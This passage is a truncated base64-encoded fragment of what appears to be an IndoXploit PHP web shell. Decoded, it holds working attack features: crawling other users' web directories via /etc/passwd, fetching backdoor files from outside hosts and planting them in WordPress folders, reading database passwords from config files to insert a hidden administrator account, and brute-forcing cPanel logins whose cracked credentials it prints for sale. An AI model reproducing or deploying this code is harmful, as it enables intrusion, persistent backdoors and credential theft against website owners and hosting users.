dyaXRhYmxlKCR1cmxfdXNlcikpIHsKCQkJCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXJsX3VzZXInPjxmb250IGNvbG9yPWdvbGQ+JHVybF91c2VyPC9mb250PjwvYT48YnI+IjsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJGpydy4iPGJyPiI7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0KCQlpZigkaSA9PSAwKSB7IAoJCX0gZWxzZSB7CgkJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOwoJCX0KCQllY2hvICI8L3ByZT4iOwoJCX0gZWxzZSB7CgkJCWVjaG8gJzxjZW50ZXI+CgkJCQkgIDxmb3JtIG1ldGhvZD0icG9zdCI+CgkJCQkgIExpc3QgRG9tYWluczogPGJyPgoJCQkJICA8dGV4dGFyZWEgbmFtZT0idXJsIiBzdHlsZT0id2lkdGg6IDUwMHB4OyBoZWlnaHQ6IDI1MHB4OyI+JzsKCQkJJGZwID0gZm9wZW4oIi9oc3BoZXJlL2xvY2FsL2NvbmZpZy9odHRwZC9zaXRlcy9zaXRlcy50eHQiLCJyIik7CgkJCXdoaWxlKCRnZXRzcyA9IGZnZXRzKCRmcCkpIHsKCQkJCWVjaG8gJGdldHNzOwoJCQl9CgkJCWVjaG8gICc8L3RleHRhcmVhPjxicj4KCQkJCSAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikp1bXBpbmciIG5hbWU9Imp1bXAiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjVweDsiPgoJCQkJICA8L2Zvcm0+PC9jZW50ZXI+JzsKCQl9Cgl9IGVsc2VpZihwcmVnX21hdGNoKCIvdmhvc3RzLyIsICRkaXIpKSB7CgkJJHVybHMgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7CgkJaWYoaXNzZXQoJF9QT1NUWydqdW1wJ10pKSB7CgkJCWVjaG8gIjxwcmU+IjsKCQkJZm9yZWFjaCgkdXJscyBhcyAkdXJsKSB7CgkJCQkkd2ViX3ZoID0gIi92YXIvd3d3L3Zob3N0cy8kdXJsL2h0dHBkb2NzIjsKCQkJCWlmKGlzX2Rpcigkd2ViX3ZoKSA9PT0gdHJ1ZSkgewoJCQkJCWlmKGlzX3JlYWRhYmxlKCR3ZWJfdmgpKSB7CgkJCQkJCSRpKys7CgkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+UjwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHdlYl92aCc+PGZvbnQgY29sb3I9Z29sZD4kd2ViX3ZoPC9mb250PjwvYT48YnI+IjsKCQkJCQkJaWYoaXNfd3JpdGFibGUoJHdlYl92aCkpIHsKCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+Ulc8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR3ZWJfdmgnPjxmb250IGNvbG9yPWdvbGQ+JHdlYl92aDwvZm9udD48L2E+PGJyPiI7CgkJCQkJCX0KCQkJCQkJZWNobyAkanJ3LiI8YnI+IjsKCQkJCQl9CgkJCQl9CgkJCX0KCQlpZigkaSA9PSAwKSB7IAoJCX0gZWxzZSB7CgkJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOwoJCX0KCQllY2hvICI8L3ByZT4iOwoJCX0gZWxzZSB7CgkJCWVjaG8gJzxjZW50ZXI+CgkJCQkgIDxmb3JtIG1ldGhvZD0icG9zdCI+CgkJCQkgIExpc3QgRG9tYWluczogPGJyPgoJCQkJICA8dGV4dGFyZWEgbmFtZT0idXJsIiBzdHlsZT0id2lkdGg6IDUwMHB4OyBoZWlnaHQ6IDI1MHB4OyI+JzsKCQkJCSAgYmluZygiaXA6JGlwIik7CgkJCWVjaG8gICc8L3RleHRhcmVhPjxicj4KCQkJCSAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikp1bXBpbmciIG5hbWU9Imp1bXAiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjVweDsiPgoJCQkJICA8L2Zvcm0+PC9jZW50ZXI+JzsKCQl9Cgl9IGVsc2UgewoJCWVjaG8gIjxwcmU+IjsKCQkkZXRjID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKTsKCQl3aGlsZSgkcGFzc3dkID0gZmdldHMoJGV0YykpIHsKCQkJaWYoJHBhc3N3ZCA9PSAnJyB8fCAhJGV0YykgewoJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsKCQkJfSBlbHNlIHsKCQkJCXByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfanVtcGluZyk7CgkJCQlmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsKCQkJCQkkdXNlcl9qdW1waW5nX2RpciA9ICIvaG9tZS8kdXNlcl9pZHhfanVtcC9wdWJsaWNfaHRtbCI7CgkJCQkJaWYoaXNfcmVhZGFibGUoJHVzZXJfanVtcGluZ19kaXIpKXsKCQkJCQkJJGkrKzsKCQkJCQkJJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP3BhdGg9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPWdvbGQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPjxicj4iOwoJCQkJCQlpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsKCQkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+Ulc8L2ZvbnQ+XSA8YSBocmVmPSc/cGF0aD0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9Z29sZD4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+PGJyPiI7CgkJCQkJCX0KCQkJCQkJZWNobyAkanJ3OwoJCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkJCQkJCSRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsJCgkJCQkJCQlpZigkZG9tYWluX2p1bXAgPT0gJycpIHsKCQkJCQkJCQllY2hvICIgPT4gKCA8Zm9udCBjb2xvcj1yZWQ+Z2FiaXNhIGFtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD4gKTxicj4iOwoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsKCQkJCQkJCQlmb3JlYWNoKCRkb21haW5zX2p1bXBbMV0gYXMgJGRqKSB7CgkJCQkJCQkJCSR1c2VyX2p1bXBpbmdfdXJsID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8kZGoiKSk7CgkJCQkJCQkJCSR1c2VyX2p1bXBpbmdfdXJsID0gJHVzZXJfanVtcGluZ191cmxbJ25hbWUnXTsKCQkJCQkJCQkJaWYoJHVzZXJfanVtcGluZ191cmwgPT0gJHVzZXJfaWR4X2p1bXApIHsKCQkJCQkJCQkJCWVjaG8gIiA9PiAoIDx1PiRkajwvdT4gKTxicj4iOwoJCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJCX0KCQkJCQkJCQl9CgkJCQkJCQl9CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQllY2hvICI8YnI+IjsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCQlpZigkaSA9PSAwKSB7IAoJCX0gZWxzZSB7CgkJCWVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOwoJCX0KCQllY2hvICI8L3ByZT4iOwoJfQoJZWNobyAiPC9kaXY+IjsKfQppZigkX0dFVFsnZG8nXSA9PSAnY3JldCcpIHsKZnVuY3Rpb24gZ2V0X2NvbnRlbnRzKCR1cmwpewogICRjaCA9IGN1cmxfaW5pdCgiJHVybCIpOwogIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAoV2luZG93cyBOVCA2LjE7IHJ2OjMyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMzIuMCIpOwogIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCRHTE9CQUxTWydjb2tpJ10pOwogIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCRHTE9CQUxTWydjb2tpJ10pOwogICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKICByZXR1cm4gJHJlc3VsdDsKfQoKJGhlY2luZGV4ID0gZ2V0X2NvbnRlbnRzKCdodHRwOi8vaW50ZXJjaGVtaWUuY29tLnVhL2xpYnMvbC50eHQnKTsKJGluZGV4eW9sID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvLndlbGwta25vd24vcGtpLXZhbGlkYXRpb24vaW5kZXgucGhwIiA7IAppZiAoZmlsZV9wdXRfY29udGVudHMgKCRpbmRleHlvbCwgJGhlY2luZGV4KSk7CgokaHRhY2Nlc3MgPSBnZXRfY29udGVudHMoJ2h0dHA6Ly9uZG90LnVzL3phJyk7IAokaHRhY2Nlc3NzID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3AtaW5jbHVkZXMvcG9tby91bXBvbW9uZS5waHAiIDsKaWYgKGZpbGVfcHV0X2NvbnRlbnRzICgkaHRhY2Nlc3NzLCAkaHRhY2Nlc3MpKTsKCiR3cG9wdGlvbnMgPSBnZXRfY29udGVudHMoJ2h0dHA6Ly9pbnRlcmNoZW1pZS5jb20udWEvbGlicy9sLnR4dCcpOyAKJHdwb3B0aW9uc3MgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1jb250ZW50L3BsdWdpbnMvaGVsbG8ucGhwIiA7CmlmIChmaWxlX3B1dF9jb250ZW50cyAoJHdwb3B0aW9uc3MsICR3cG9wdGlvbnMpKTsKCgokbW9taW5kZXggPSBnZXRfY29udGVudHMoJ2h0dHA6Ly9pbnRlcmNoZW1pZS5jb20udWEvbGlicy9sLnR4dCcpOwokbW9taW5kZXh4ID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvaW5kZWVlZXgucGhwIiA7IAppZiAoZmlsZV9wdXRfY29udGVudHMoJG1vbWluZGV4eCwgJG1vbWluZGV4KSk7CgokbW9kdWxlciA9IGdldF9jb250ZW50cygnaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2luZG94cGxvaXQtY29kZXJzL3RtcC1zaGVsbC9tYXN0ZXIvdG1wLXNoZWxsLnBocCcpOwokbW9kdWxlcnIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1jb250ZW50L3RoZW1lcy9tb2R1bGtlLnBocCI7CmlmIChmaWxlX3B1dF9jb250ZW50cygkbW9kdWxlcnIsICRtb2R1bGVyKSk7CgovKkJVUkRBTiBZVUtBUkkgUkFORE9NIFNDUiYjMzA0O1BUKi8KLypCVVJEQU4gQSYjMzUwOyYjMzUwO0EmIzI4NjtJU0kgV09SRFBSRVNTUyovCiR3b3JkcHJlc3MgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1jb250ZW50L3RoZW1lcy8iOwppZiAoZmlsZV9leGlzdHMoJHdvcmRwcmVzcykpIHsKCQokd3Btb2R1bDIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93cC1hZG1pbi9jc3MvY29sb3JzL2JsdWUucGhwIiA7CmlmIChmaWxlX3B1dF9jb250ZW50cygkd3Btb2R1bDIsICRtb2R1bGVyKSk7CmlmKGZpbGVfZXhpc3RzKCR3cG1vZHVsMikpewogICAgZWNobyAic2V4IDEgPC9icj4iOyAKCkBjaG1vZCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9pbmRlZWVleC5waHAiLCAwNjQ0KTsKQGNobW9kKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiLy53ZWxsLWtub3duL3BraS12YWxpZGF0aW9uL2luZGV4LnBocCIsIDA2NDQpOwpAY2htb2QoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3AtaW5jbHVkZXMvcG9tby91bXBvbW9uZS5waHAiLCAwNjQ0KTsKQGNobW9kKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL3dwLWNvbnRlbnQvcGx1Z2lucy9oZWxsby5waHAiLCAwNjQ0KTsKQGNobW9kKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL3dwLWFkbWluL2Nzcy9jb2xvcnMvYmx1ZS5waHAiLCAwNjQ0KTsKZWNobyAiSGVjdG9wYXQiLiI8YnI+IjsKCn0KfQoJfWVsc2V7CgkJCQoJCX0KaWYoJF9HRVRbJ2RvJ10gPT0gJ3dwbScpIHsKZWNobyAnCgo8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29uZmxlZyIgcGxhY2Vob2xkZXI9IkNvbmZpZyBVUkwgSGVyZSI+Cjxicj48YnI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoeGUiIHZhbHVlPSJTdWJtaXQiPgo8L2Zvcm0+PGJyPjxicj4KJzsKCkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBpbmlfc2V0KCdodG1sX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAaW5pX3NldCgnZmlsZV91cGxvYWRzJywgMSk7CiRyYTQ0ID0gcmFuZCgxLCA5OTk5OSk7CmZ1bmN0aW9uIHJhbmRvbU51bWJlcigkbGVuZ3RoKSB7CiAgICAkcmVzdWx0ID0gJyc7CgogICAgZm9yKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgJHJlc3VsdCAuPSBtdF9yYW5kKDAsIDkpOwogICAgfQoKICAgIHJldHVybiAkcmVzdWx0Owp9CmZ1bmN0aW9uIGh0dHBHZXQoJHVybCkKewogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMTAgRmlyZWZveC8yLjAiKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgJG91dHB1dCA9IGN1cmxfZXhlYygkY2gpOwogICAgCiAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICByZXR1cm4gJG91dHB1dDsKfQoKCiAgICBpZiAoJF9QT1NUWydjaHhlJ10pIHsKICAgICAgICAkZ2V0MiA9IGh0dHBHZXQoJF9QT1NUWydjb25mbGVnJ10pOwogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjPGEgaHJlZj0iKC4qPykiIycsICRnZXQyLCAkY29uZmlnKTsKICAgICAgICAkY291bnQgPSAxOwogICAgICAgIGZvcmVhY2ggKCRjb25maWdbMV0gYXMgJGRvbikgewogICAgICAgICRrb250b2wgPSAiSjNtYjB0eiI7CiAgICAgICAgJG5nbnRkID0gIi4vTWF3b3R6LU00dzB0eiI7CiAgICAgICAgJGdldCA9IGh0dHBHZXQoJF9QT1NUWydjb25mbGVnJ10gLiAiLyIgLiAkZG9uKTsKICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgnL3RhYmxlX3ByZWZpeC8nLCAkZ2V0KSl7CiAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvREJfSE9TVFsiXCddLCBbIlwnXSguKj8pWyJcJ10vJywgJGdldCwgJGhvc3QpOwoKICAgICAgICAgICAgJGRvbjQ0ID0gZW5kKCRob3N0KTsKICAgICAgICAgICAgJGhvc3QgPSBlbmQoJGRvbjQ0KTsKICAgICAgICAgICAgICAgICNlY2hvICRob3N0OwogICAgICAgICAgICAKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy9EQl9QQVNTV09SRFsiXCddLCBbIlwnXSguKj8pWyJcJ10vJywgJGdldCwgJHBhc3MpOwoKICAgICAgICAgICAgJGRvbmUgPSBlbmQoJHBhc3MpOwogICAgICAgICAgICAkcGFzc3dvcmQgPSBlbmQoJGRvbmUpOwogICAgICAgICAgICAjZWNobyAkcGFzc3dvcmQuIjxicj4iOwogICAgICAgICAgICAKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy9EQl9VU0VSWyJcJ10sIFsiXCddKC4qPylbIlwnXS8nLCAkZ2V0LCAkdXNlcik7CiAKICAgICAgICAgICAgJGRvbmUxID0gZW5kKCR1c2VyKTsKICAgICAgICAgICAgJHVzZXIgPSBlbmQoJGRvbmUxKTsKICAgICAgICAgICAgICAgICNlY2hvICR1c2VyOwoKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy9EQl9OQU1FWyJcJ10sIFsiXCddKC4qPylbIlwnXS8nLCAkZ2V0LCAkbmFtZSk7CgogICAgICAgICAgICAkZG9uZTIgPSBlbmQoJG5hbWUpOwogICAgICAgICAgICAkbmFtZSA9IGVuZCgkZG9uZTIpOwogICAgICAgICAgICAgICAgI2VjaG8gJG5hbWU7CgogICAgICAgICAgICAkZ2V0MjMgPSBwcmVnX3JlcGxhY2UoJy9bXHMkQF8qXSsvJywgJ18nLCAkZ2V0KTsKICAgICAgICAgICAgI2VjaG8oJGdldDIzKTsKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoIi90YWJsZV9wcmVmaXhfPV9bJ1wiXSguKj8pWydcIl0vIiwgJGdldDIzLCAkcHJlZml4KTsKICAgICAgICAgICAgJGRvbmUzID0gZW5kKCRwcmVmaXgpOwogICAgICAgICAgICAkcHJlZml4ID0gZW5kKCRkb25lMyk7CiAgICAgICAgICAgICNlY2hvICRwcmVmaXg7CiAgICAgICAgICAgICRjb25uZWN0ID0gbXlzcWxpX2Nvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzc3dvcmQsICRuYW1lKTsKICAgICAgICAgICAgaWYgKCRjb25uZWN0KSB7CiAgICAgICAgICAgICAgICAkcXVlcnkxID0gbXlzcWxpX3F1ZXJ5KCRjb25uZWN0LCAic2VsZWN0ICogZnJvbSAiIC4gJHByZWZpeCAuICJvcHRpb25zIHdoZXJlIG9wdGlvbl9uYW1lPSdzaXRldXJsJyIpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB3aGlsZSAoJHNpdGV1cmwgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHF1ZXJ5MSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2l0ZV91cmwgPSAkc2l0ZXVybFsnb3B0aW9uX3ZhbHVlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcXVlcnkyID0gbXlzcWxpX3F1ZXJ5KCRjb25uZWN0LCAiSU5TRVJUIElOVE8gIiAuICRwcmVmaXggLiAidXNlcnMgKGBJRGAsIGB1c2VyX2xvZ2luYCwgYHVzZXJfcGFzc2AsIGB1c2VyX25pY2VuYW1lYCwgYHVzZXJfZW1haWxgLCBgdXNlcl91cmxgLCBgdXNlcl9yZWdpc3RlcmVkYCwgYHVzZXJfYWN0aXZhdGlvbl9rZXlgLCBgdXNlcl9zdGF0dXNgLCBgZGlzcGxheV9uYW1lYCkgVkFMVUVTICgnIiAuICRyYTQ0IC4gIicsICciLiRrb250b2wuIicsICciLm1kNSgkbmdudGQpLiInLCAnYWRtaW5zJywgJ3lvcmFuZ29ub21ib3RAZ21haWwuY29tJywgJ2h0dHA6Ly93d3cudGVzdC5jb20vJywgJzIwMTEtMDYtMDcgMDA6MDA6MDAnLCAnJywgJzAnLCAnYWRtaW5zJykiKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJHF1ZXJ5MyA9IG15c3FsaV9xdWVyeSgkY29ubmVjdCwgIklOU0VSVCBJTlRPICIgLiAkcHJlZml4IC4gInVzZXJtZXRhIChgdW1ldGFfaWRgLCBgdXNlcl9pZGAsIGBtZXRhX2tleWAsIGBtZXRhX3ZhbHVlYCkgVkFMVUVTIChOVUxMLCAnIiAuICRyYTQ0IC4gIicsICciIC4gJHByZWZpeCAuICJjYXBhYmlsaXRpZXMnLCAnIiAuICdhOjE6e3M6MTM6ImFkbWluaXN0cmF0b3IiO3M6MToiMSI7fScgLiAiJykiKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJHF1ZXJ5NCA9IG15c3FsaV9xdWVyeSgkY29ubmVjdCwgIklOU0VSVCBJTlRPICIgLiAkcHJlZml4IC4gInVzZXJtZXRhIChgdW1ldGFfaWRgLCBgdXNlcl9pZGAsIGBtZXRhX2tleWAsIGBtZXRhX3ZhbHVlYCkgVkFMVUVTIChOVUxMLCAnIiAuICRyYTQ0IC4gIicsICciIC4gJHByZWZpeCAuICJ1c2VyX2xldmVsJywgJzEwJykiKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoJHF1ZXJ5MikgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNsYXNzPWY+PGI+Tk88Yj4gIiAuICRjb3VudCAuICIgIDo8YSBocmVmPSckc2l0ZV91cmwvd3AtbG9naW4ucGhwIyIuJGtvbnRvbC4iQCIuJG5nbnRkLiInIHRhcmdldD0nX2JsYW5rJz4kc2l0ZV91cmwvd3AtbG9naW4ucGhwPC9hPnwiLiRrb250b2wuInwiLiRuZ250ZC4iPGJyPjwvc3Bhbj4iOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgJGFuamd0b2wgPSAkX1BPU1RbJ2NvbmZsZWdzJ10gLiAiLyIgLiAkZG9uOwogICAgICAgICAgICAgICAgICAgICNwcmludF9yKCRkb24pOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNsYXNzPWY+PGI+Tk88Yj4gIiAuICRjb3VudCAuICIgIDo8YSBocmVmPSckYW5qZ3RvbCcgdGFyZ2V0PSdfYmxhbmsnPiRkb24gLS0+IEVSUk9SIE1BS0UgVVNFUjxicj48L3NwYW4+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjb3VudCA9ICRjb3VudCArIDE7CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICRhbmpndG9sID0gJF9QT1NUWydjb25mbGVncyddIC4gIi8iIC4gJGRvbjsKICAgICAgICAgICAgICAgICAgICAjcHJpbnRfcigkZG9uKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8c3BhbiBjbGFzcz1mPjxiPk5PPGI+ICIgLiAkY291bnQgLiAiICA6PGEgaHJlZj0nJGFuamd0b2wnIHRhcmdldD0nX2JsYW5rJz4kZG9uIC0tPiBFUlJPUiBTUUw8YnI+PC9zcGFuPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCX0KfQoJfWVsc2V7CgkJCQoJCX0KaWYoJF9HRVRbJ2RvJ10gPT0gJ3RvbGxzJykgewoJaWYoJF9QT1NUWydjcmFjayddKSB7CgkJJHVzZXJjcCA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3VzZXJfY3AnXSk7CgkJJHBhc3NjcCA9IGV4cGxvZGUoIlxyXG4iLCAkX1BPU1RbJ3Bhc3NfY3AnXSk7CgkJJGkgPSAwOwoJCWZvcmVhY2goJHVzZXJjcCBhcyAkdWNwKSB7CgkJCWZvcmVhY2goJHBhc3NjcCBhcyAkcGNwKSB7CgkJCQlpZihAbXlzcWxpX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsICR1Y3AsICRwY3ApKSB7CgkJCQkJaWYoJF9TRVNTSU9OWyR1Y3BdICYmICRfU0VTU0lPTlskcGNwXSkgewoJCQkJCX0gZWxzZSB7CgkJCQkJCSRfU0VTU0lPTlskdWNwXSA9ICIxIjsKCQkJCQkJJF9TRVNTSU9OWyRwY3BdID0gIjEiOwoJCQkJCQlpZigkdWNwID09ICcnIHx8ICRwY3AgPT0gJycpIHsKCQkJCQkJCQoJCQkJCQl9IGVsc2UgewoJCQkJCQkJJGkrKzsKCQkJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCQkJCQkJCSRkb21haW5fY3AgPSBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7CQoJCQkJCQkJCWlmKCRkb21haW5fY3AgPT0gJycpIHsKCQkJCQkJCQkJJGRvbSA9ICAiPGZvbnQgY29sb3I9cmVkPmdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+IjsKCQkJCQkJCQl9IGVsc2UgewoJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9jcCwgJGRvbWFpbnNfY3ApOwoJCQkJCQkJCQlmb3JlYWNoKCRkb21haW5zX2NwWzFdIGFzICRkaikgewoJCQkJCQkJCQkJJHVzZXJfY3BfdXJsID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8kZGoiKSk7CgkJCQkJCQkJCQkkdXNlcl9jcF91cmwgPSAkdXNlcl9jcF91cmxbJ25hbWUnXTsKCQkJCQkJCQkJCWlmKCR1c2VyX2NwX3VybCA9PSAkdWNwKSB7CgkJCQkJCQkJCQkJJGRvbSA9ICI8YSBocmVmPSdodHRwOi8vJGRqLycgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNvbG9yPWxpbWU+JGRqPC9mb250PjwvYT4iOwoJCQkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCQkJfQoJCQkJCQkJCQl9CgkJCQkJCQkJfQoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkkZG9tID0gIjxmb250IGNvbG9yPXJlZD5mdW5jdGlvbiBpcyBEaXNhYmxlIGJ5IHN5c3RlbTwvZm9udD4iOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAiVVNBIHwgQ1BBTkVMIHwgRlJFU0ggQU5EIFZBTElEIDEwMCUgfCBodHRwOi8vJGRvbToyMDgyIHwgJHVjcCB8ICRwY3AgfCA2LjAwPGJyPiI7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJaWYoJGkgPT0gMCkgewoJCX0gZWxzZSB7CgkJCWVjaG8gIjxicj5zdWtzZXMgbnlvbG9uZyAiLiRpLiIgQ3BhbmVsIGJ5IDxmb250IGNvbG9yPWxpbWU+SW5kb1hwbG9pdC48L2ZvbnQ+IjsKCQl9Cgl9IGVsc2UgewoJCWVjaG8gIjxjZW50ZXI+CgkJPGZvcm0gbWV0aG9kPSdwb3N0Jz4KCQlVU0VSOiA8YnI+CgkJPHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMTUwcHg7JyBuYW1lPSd1c2VyX2NwJz4iOwoJCSRfdXNlcmNwID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwiciIpOwoJCXdoaWxlKCRnZXR1ID0gZmdldHMoJF91c2VyY3ApKSB7CgkJCWlmKCRnZXR1ID09ICcnIHx8ICEkX3VzZXJjcCkgewoJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsKCQkJfSBlbHNlIHsKCQkJCXByZWdfbWF0Y2hfYWxsKCIvK